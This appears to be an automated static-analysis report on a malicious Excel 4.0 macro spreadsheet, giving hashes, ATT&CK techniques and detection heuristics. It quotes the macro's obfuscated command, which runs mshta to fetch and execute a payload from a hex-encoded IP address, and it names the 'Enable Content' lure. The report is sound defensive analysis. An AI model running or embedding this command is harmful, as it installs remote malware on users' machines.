Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 9d7fe52b8b6e543f…

MALICIOUS

Office (OLE) / .XLS

65.5 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: da1ecaaa960885e9984202ee9e095efc SHA-1: 6a6999c7532aa2148253ea0d35f0afa09c458268 SHA-256: 9d7fe52b8b6e543f548eb01fd03ddfbe795dcf8b43addb92ee15c6430596f206
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File T1059.005 Visual Basic

The sample is an Excel 4.0 macro-enabled spreadsheet that uses an 'Auto_Open' entry point to execute a command. The embedded macro reconstructs the string 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html', which is designed to download and execute a payload from the specified URL. The document body explicitly prompts the user to 'Enable Editing' and 'Enable Content', a common social engineering tactic to bypass macro security.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes

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